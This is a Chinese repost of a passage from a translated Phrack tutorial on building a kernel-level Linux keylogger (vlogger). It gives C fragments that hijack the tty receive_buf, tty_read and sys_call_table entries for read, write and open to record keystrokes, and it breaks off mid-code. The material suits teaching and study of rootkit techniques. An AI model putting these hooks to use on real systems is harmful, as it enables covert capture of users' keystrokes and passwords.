linux open dev/tty0 receive_buf,书写基于内核的linux键盘纪录器(p9-0e)(3)
书写基于内核的linux键盘纪录器(p9-0e)(3)
2008-04-09 04:00:06来源:互联网 阅读 ()
底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。
# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)
参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。
让我们深入的看一看tty结构
# /usr/include/linux/tty.h
struct tty_struct {
int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}
# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};
要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置ldisc.receive_buf到
我们的new_receive_buf()函数来记录用户的输入。
举个例子:我们要记录在tty0设备上的输入。
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf; //保存原始的receive_buf()函数
tty->ldisc.receive_buf = new_receive_buf; //替换成新的new_receive_buf函数
//新的new_receive_buf函数
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
logging(tty, cp, count); //纪录用户击键
/* 调用回原来的receive_buf */
(*old_receive_buf)(tty, cp, fp, count);
}
/*e4gle add
其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用
内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者
效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。
*/
------[ 3.2.4 - tty_read函数
当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。
# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,
write: tty_write,
poll: tty_poll,
ioctl: tty_ioctl,
open: tty_open,
release: tty_release,
fasync: tty_fasync,
};
还是举上面的纪录来自tty0的输入信息的例子:
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read; //保存原来的tty_read
file->f_op->read = new_tty_read; //替换新的tty_read函数
/*e4gle add
劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一下:
static ssize_t new_tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
{
struct tty_struct *tty = file->private_data;
logging(tty, buf, count); //纪录用户击键
/* 调用回原来的tty_read */
(*old_tty_read)(file, buf, count, ppos);
}
*/
------[ 3.2.5 - sys_read/sys_write函数
截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译
的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linux kernel hacking”
若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到,
如果大家不明白请参考以上文献。
我提供以下code来实现劫持sys_read和sys_write系统调用:
extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;
当然除了替换sys_call_table表之外还有很多方法,在phrack59中的高级kernel hacking一文
中详细针对现有的几种劫持系统调用的方法有演示代码,这里不多做介绍了。
--[ 4 - vlogger
这节介绍一下一个内核键盘纪录器vlogger,是本文的原作者的大作,它是通过3.2.3节中
介绍的方法来实现纪录用户击键的,也利用了劫持sys_read/sys_write系统调用来做补充。
vlogger在如下内核中测试通过:2.4.5,2.4.7,2.4.17,2.4.18。
----[ 4.1 - 步骤
要记录下本地(纪录终端的信息)和远程会话的键盘击键 ,我选择劫持receive_buf函数的
方法(见3.2.3节)。
在内核中,tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而,我们
同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的
receive_buf()函数。
// 劫持sys_open调用
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
//调用original_sys_open
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
相关文章
linux open dev/tty0 receive_buf,书写基于内核的linux键盘纪录器(p9-0e)(3)相关推荐
- linux读取 dev tty0,linux命令: ls命令
ls命令:(list directory contents),列出目录内容 用法: ls [option] [file_or_dirs] ls命令常用选项 -l 显示文件的长格式信息 -d 显示目录或 ...
- Linux设备驱动开发详解 第3版 (即 Linux设备驱动开发详解 基于最新的Linux 4 0内核 )前言
Linux从未停歇脚步.Linus Torvalds,世界上最伟大的程序员之一,Linux内核的创始人,Git的缔造者,仍然在没日没夜的合并补丁,升级内核.做技术,从来没有终南捷径,拼的就是坐冷板凳的 ...
- linux修改时间_技术干货||基于Centos8的Linux简单入门学习笔记
很基础 以后不想记笔记了 最后分享一次
- 嵌入式linux与pc串口传输文件基于lrzsz
嵌入式linux与pc串口传输文件基于lrzsz 嵌入式linux传输应用程序通常用nfs.tftp等比较麻烦,一般小应用也就几k用串口就行,这里给出一种串口传输文件的方式lrzsz lzsz需要在开 ...
- u-boot的linux内核映像加载,基于U_Boot的Linux内核映像加载与引导功能实现.pdf
基于U_Boot的Linux内核映像加载与引导功能实现 20 10 8 ( ) Aug . 2010 10 4 Journal of Langfang T eachers College( N atu ...
- 基于块的linux驱动程序,基于块的Linux驱动程序 块设备驱动 centos内核编译过程 操作系统课程设计...
操作系统的课程设计,本人也是一头雾水地做完了课程设计,在这里贴下操作过程,放下当时参考的一篇CSDN文章链接:https://blog.csdn.net/cxy_chen/article/detail ...
- 国外linux内核视频播放器,基于Video for Linux内核的USB摄像头视频信号采集实现
摘要:Video for Linux是Linux中关于视频设备的内核驱动,本文介绍了在Video for Linux内 >> 基于ARM9和USB摄像头的网络视频采集系统设计 基于嵌入式V ...
- 基于树莓派对Linux内核简单认识
基于树莓派对Linux内核简单认识 树莓派等芯片带操作系统的启动过程 Linux 内核源码 Linux 内核源码目录树 安装tree命令 目录树结构 Linux根目录下 \ 树莓派Linux源码配置 ...
- [转载]基于ARM的linux内核裁剪与移植
基于ARM的linux内核裁剪与移植 http://bbs.elecfans.com/forum.php?mod=viewthread&tid=185020 wutaimin( 楼主 ) 2 ...
最新文章
- MATLAB 多项式
- 刚体Collider包围测试
- Linux中文显示乱码?如何设置centos显示中文
- 最受 IT 公司欢迎的 30 款开源软件
- rabbit MQ 的环境及命令使用(一)
- gis发布及应用服务器,超图云GIS应用服务器平台
- CArray动态数组
- ALAsset 循环获取图片(Assets Library Framework)
- XMLReader—一个可以读取XML文件的java类
- java lock unlock_【Java并发007】原理层面:ReentrantLock中lock()、unlock()全解析
- Linux下ELF二进制文件加壳,pe/elf 文件加壳时的处理
- android studio计步,基于安卓Android平台的健康计步系统APP的设计(AndroidStudio)
- 《基于移动互联的智慧健康社区系统的研发》 CSCD
- VUE H5页面微信/QQ/微博 分享连接设置
- 【软件测试】基础-概念篇
- DOM4J+JAXEN
- Android系统应用隐藏和应用禁止卸载
- 解密方舟编译器和EMUI未来四大演进方向
- 亚特兰蒂斯【线段树+扫描线+离散化】
- 通过PYTHON爬虫爬取明星的照片和资料